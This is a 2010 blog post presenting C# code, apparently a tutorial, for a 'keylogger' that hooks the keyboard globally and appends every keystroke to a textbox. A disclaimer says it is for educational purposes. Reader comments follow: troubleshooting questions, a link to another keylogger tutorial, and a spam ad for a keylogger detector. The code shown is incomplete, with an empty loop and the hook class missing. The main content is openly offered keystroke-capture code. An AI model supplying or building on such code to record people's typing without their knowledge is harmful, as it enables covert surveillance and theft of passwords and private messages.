## Wednesday, October 27, 2010

### Here's how to use it

GlobalKeyboardHook gHook;
private void Form1_Load(object sender, EventArgs e)
{
gHook = new GlobalKeyboardHook(); // Create a new GlobalKeyboardHook
// Declare a KeyDown Event
gHook.KeyDown += new KeyEventHandler(gHook_KeyDown);
// Add the keys you want to hook to the HookedKeys list
foreach (Keys key in Enum.GetValues(typeof(Keys)))
}

// Handle the KeyDown Event
public void gHook_KeyDown(object sender, KeyEventArgs e)
{
textBox1.Text += ((char)e.KeyValue).ToString();
}

private void button1_Click(object sender, EventArgs e)
{
gHook.hook();
}

private void button2_Click(object sender, EventArgs e)
{
gHook.unhook();
}

private void Form1_FormClosing(object sender, FormClosingEventArgs e)
{
gHook.unhook();
}
Using this keylogger to log/record other people's keystrokes without their knowledge can be considered as an illegal activity! It is the final user's responsibility to obey all applicable local,state,and federal laws! This tutorial is intended for educational purpose only! I assume NO liability and I'm NOT responsible for any misuse or damage caused by this keylogger!

1. I had been arguing with my close friend on this issue for quite a while, base on your ideas prove that I am right, let me show him your webpage then I am sure it must make him buy me a drink, lol, thanks.

- Lora

2. hi, I'm planning to make my OWN WARKEY, this is application used to warcraft specifically to dota. it is just replacing the NUM7 by clicking other keys, for example; combination of ALT and Q.

So could you please help me to make an application that tells my computer that I'm pressing NUM7 even though I'm pressing ALT+Q. That is while playing WARCRAFT.

Thanks a lot...

3. Why do these hooks disappear when you enter a game like Warcraft?

4. arrgg .... I'm getting no where ... been struggling with this for over 19 hours now .... and still nothing ....

5. I FIGURED IT OUT !!!!!!!!!!!!!! FINALLY !!!!!!
Lol, I feel like an IDIOT !!!!
I didn't run VS as Administrator ... In windows 7 YOU HAVE TO ! ^_^"
This also helped a LOT: http://lmgtfy.com/?q=Gma.UserActivityMonitor

6. ty bonkers, was kinda "struggling" with the same ;)

7. How﻿ do I detect a Modifier Key?
I am building an app that stacks the current clipboard, in order to do that, I need to test if the Ctrl and the C key were pressed.
if (e.Control && e.KeyCode == Keys.C)
Is not working, because e.Control is always returning false. Any advice?
Thanks!

8. nice post sir
then its great helpful for us

9. This comment has been removed by the author.

10. mereçe um joinhaaa,,valeuu

11. A very easy to understand step-by-step tutorial to create keylogger in visual studio (c#) find here
http://csharpdemos.blogspot.in/2012/09/how-to-create-keylogger-using-c.html

12. Thank you very much !!

13. Funny how many programing noobs comment here asking for the simplest stuff.
Don't know a shit but wanna make the #1 super virus.

14. Is not working, code is exact, GlobalKeyBoardHook.cs is applied. written in C# and nothing is happening. What am I doing wrong?

15. nice...

16. Attempted to read or write protected memory. This is often an indication that other memory is corrupt.

17. Can you help me about : Object reference not set to an instance of an object
:gHook.hook();// Line Erro. Thank

18. Key Logger Detector is an original solution, created to detect the stealth monitoring software by behavior. Keylogger Detector is able to detect the newest, modified or custom-built keyloggers, which are not yet detectable by the traditional security software. Windows XP, 7, 8 and 8.1 are supported.